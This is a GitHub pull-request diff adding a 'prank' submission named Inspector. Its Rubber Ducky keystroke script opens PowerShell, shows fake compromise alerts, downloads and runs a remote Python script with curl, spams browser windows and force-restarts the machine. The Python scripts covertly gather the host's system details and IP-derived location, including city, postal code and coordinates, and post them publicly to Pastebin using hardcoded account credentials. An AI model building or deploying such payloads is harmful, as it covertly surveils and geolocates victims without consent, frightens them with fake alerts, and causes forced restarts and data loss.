Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
138,862 changes: 138,862 additions & 0 deletions submissions/inspector/CAD/Case#1, voronoi.step

Large diffs are not rendered by default.

124,825 changes: 124,825 additions & 0 deletions submissions/inspector/CAD/Case#2.step

Large diffs are not rendered by default.

Binary file added submissions/inspector/CAD/Case#3,Lego.f3z
Binary file not shown.
19 changes: 19 additions & 0 deletions submissions/inspector/Misc. files/hack.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
import os
import time
import sys

os.system("color 4F")
os.system("title SYSTEM ALERT")

print("Warning: a potential threat has been located on your computer")
time.sleep(1)
print("analyzing system files")
time.sleep(2)

for i in range (1, 6):
print(f" - Scanning C:\\System32\\file{i}.dll ... OK")
time.sleep(0.5)



os.system("color 0A")
103 changes: 103 additions & 0 deletions submissions/inspector/Misc. files/pastebin.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,103 @@
import datetime
import socket
import platform
import psutil
import GPUtil
import requests
from cpuinfo import get_cpu_info



info = {}
info["timestamp"] = str(datetime.datetime.now())

info["hostname"] = socket.gethostname()
info["OS"] = platform.platform()

info["CPU"] = []
info["CPU"].append(get_cpu_info()['brand_raw'])
info["CPU"].append(platform.processor())





info["CPU Core Count"] = psutil.cpu_count(logical=False)

info["RAM (GB)"] = round(psutil.virtual_memory().total / 1e9, 2)
info["Storage (GB)"] = round(psutil.disk_usage('/').total / 1e9, 2)


gpus = GPUtil.getGPUs()
if gpus:
info["GPU"] = []
for index, gpu in enumerate(gpus):
info["GPU"].append(gpus[index].name)

print(info)



location = {}

try:
response = requests.get("https://ipinfo.io")
data = response.json()

# location["IP"] = data.get("ip")
location["City"] = data.get("city")
location["Region"] = data.get("region")
location["Country"] = data.get("country")
location["Location"] = data.get("loc")
location["Timezone"] = data.get("timezone")
location["Org"] = data.get("org")
location["Postal"] = data.get("postal")

except:
location["Error"] = "Location // unable to retrieve"

print(location)




# _________________________________ beginning of pastebin info submission



import requests

devkey = '28APByxoun_kv2DQzodnz5KM2eqanAF-'
username = 'whatthehelly'
password = 'theredbanana'

login_info = {
"api_dev_key": devkey,
"api_user_name": username,
"api_user_password": password,
"api_option": "login"
}

loggingin = requests.post("https://pastebin.com/api/api_login.php", data=login_info)

if loggingin.status_code != 200:
print("Login failed, program cannot login to pastebin")
exit()

api_user_key = loggingin.text

log_data = f"Welcome to another data payload. This log was collected on {info['timestamp']}, in the fine city of {location['City']}, {location['Country']}, {location['Postal']} in {location['Country']} (Coordinates: {location['Location']}). \nThe network provider is {location['Org']}, and the local timezone is {location['Timezone']}. \nThe data was collected from a formidable machine, named {info['hostname']}, running the {info['OS']} Operating System. \nIt is powered by the: {info['CPU'][0]}, {info['CPU'][1]}, with {info['CPU Core Count']} Cores. \nThe machine runs on {info['RAM (GB)']} Gigabytes of RAM, and has {info['Storage (GB)']} Gigabytes of SSD/HDD storage. \nThey may or may not have a GPU: {info['GPU'][0]}. :o"

paste_info= {
'api_dev_key': devkey,
'api_user_key': api_user_key, # this allows me to paste to my account.
'api_option': 'paste',
'api_paste_code': log_data,
'api_paste_private': '0', # 0 = public, 1 = unlisted, 2 = private
'api_paste_name': "Inspector's Info Log (manual)",
'api_paste_expire_date': 'N'
}

response= requests.post("https://pastebin.com/api/api_post.php", data=paste_info)

print("paste url: ", response.text)
7 changes: 7 additions & 0 deletions submissions/inspector/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
# Inspector

## What is inspector?
Welcome to my submission for hackducky. Inspector is essentially a fake virus prank that starts off by sending a number of colored messages in the powershell terminal to prank the user, then starts making a few beeps through the terminal, and finally spams a bunch of edge browser tabs (but hopefully not too many, not nearly enough to cause a crash).

## Why is it named Inspector, then?
While the virus prank is running, the main functionality of inspector is actually covertly running in the background. The script downloads a file that I made, visible as inspector.py in the root directory, that takes a number of non-sensitive information about the host computer and puts it on a online pastebin. The intended use of this functionality is to keep a running journal or log of everyone who you have pranked in the past.
151 changes: 151 additions & 0 deletions submissions/inspector/hackducky.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,151 @@
REM I made this script to simulate a fake virus prank (harmless). The entire sequence takes around 20 seconds.
DEFAULT_DELAY 200

REM wait for the user to sign in
DELAY 10000

REM open powershell terminal
GUI r
DELAY 500

STRING powershell
ENTER
DELAY 1000

REM enter scary terminal text
STRING Write-Host "CRITICAL ERROR. Repairing ..." -ForegroundColor Red
ENTER
DELAY 100

REM GUI r
REM DELAY 300
REM STRING powershell
REM ENTER
REM DELAY 500

REM REM download python INSPECTOR!!!!!curl

STRING [console]::Beep(1000, 500) # 1000 Hz beep for half a second
ENTER

STRING Write-Host "System files corrupted. Repair failed." -ForegroundColor Red
ENTER
DELAY 100

STRING Write-Host "Malware.Win32.Generic has been detected." -ForegroundColor Yellow
ENTER
DELAY 100

STRING [console]::Beep(1000, 500) # 1000 Hz beep for half a second
ENTER

STRING Write-Host "SYSTEM COMPROMISED" -ForegroundColor White -BackgroundColor DarkRed
ENTER
DELAY 100

STRING Write-Host "Initiating lockdown..." -ForegroundColor DarkRed
ENTER
DELAY 100

STRING [console]::Beep(1000, 500) # 1000 Hz beep for half a second
ENTER

STRING curl https://raw.githubusercontent.com/AayanShaikh007/inspector-prank/main/inspector.py -o "$env:TEMP\duck.py"
ENTER
DELAY 1000
STRING python $env:TEMP\duck.py
ENTER

DELAY 4000
STRING [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007, [char]1007
ENTER

REM Terminal garbled rain
DELAY 1000
STRING for (;;) { $s="";1..60 | %{$s+=[char](33+(Get-Random -Max 30))}; Write-Host $s -ForegroundColor Green; Start-Sleep -Milliseconds 40 }
ENTER

STRING [console]::Beep(1000, 500) # 1000 Hz beep for half a second
ENTER

DELAY 7000

REM Spam open edge (default delay of 200 should add to the virus effect)

GUI r
STRING msedge
ENTER

GUI r
STRING msedge
ENTER

GUI r
STRING msedge
ENTER

STRING [console]::Beep(1000, 500) # 1000 Hz beep for half a second
ENTER

GUI r
STRING msedge
ENTER

GUI r
STRING msedge
ENTER

GUI r
STRING msedge
ENTER

GUI r
STRING msedge
ENTER

GUI r
STRING msedge
ENTER

GUI r
STRING msedge
ENTER

GUI r
STRING msedge
ENTER

REM finale, make a annoying sound for 10 seconds, then end. makes multiple instances of this sound to make it harder to stop.
GUI r
STRING powershell
ENTER
DELAY 500
STRING [console]::Beep(5000, 1000)
ENTER

GUI r
STRING powershell
ENTER
DELAY 500
STRING [console]::Beep(5000, 1000)
ENTER


GUI r
STRING powershell
ENTER
DELAY 500
STRING [console]::Beep(5000, 1000)
ENTER


GUI r
STRING powershell
ENTER
DELAY 500
STRING [console]::Beep(5000, 1000)
ENTER

REM finally, restart the users computer to close all opened applications.
STRING Restart-Computer
ENTER
50 changes: 50 additions & 0 deletions submissions/inspector/inspector.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
import datetime
import socket
import platform
import psutil
import GPUtil
import requests


info = {}
info["timestamp"] = str(datetime.datetime.now())

info["hostname"] = socket.gethostname()
info["OS"] = platform.platform()

info["CPU"] = platform.processor()
info["CPU Core Count"] = psutil.cpu_count(logical=False)

info["RAM (GB)"] = round(psutil.virtual_memory().total / 1e9, 2)
info["Storage (GB)"] = round(psutil.disk_usage('/').total / 1e9, 2)


gpus = GPUtil.getGPUs()
if gpus:
info["GPU"] = []
for index, gpu in enumerate(gpus):
info["GPU"].append(gpus[index].name)

print(info)



location = {}

try:
response = requests.get("https://ipinfo.io")
data = response.json()

# location["IP"] = data.get("ip")
location["City"] = data.get("city")
location["Region"] = data.get("region")
location["Country"] = data.get("country")
location["Location"] = data.get("loc")
location["Timezone"] = data.get("timezone")
location["Org"] = data.get("org")
location["Postal"] = data.get("postal")

except:
location["Error"] = "Location // unable to retrieve"

print(location)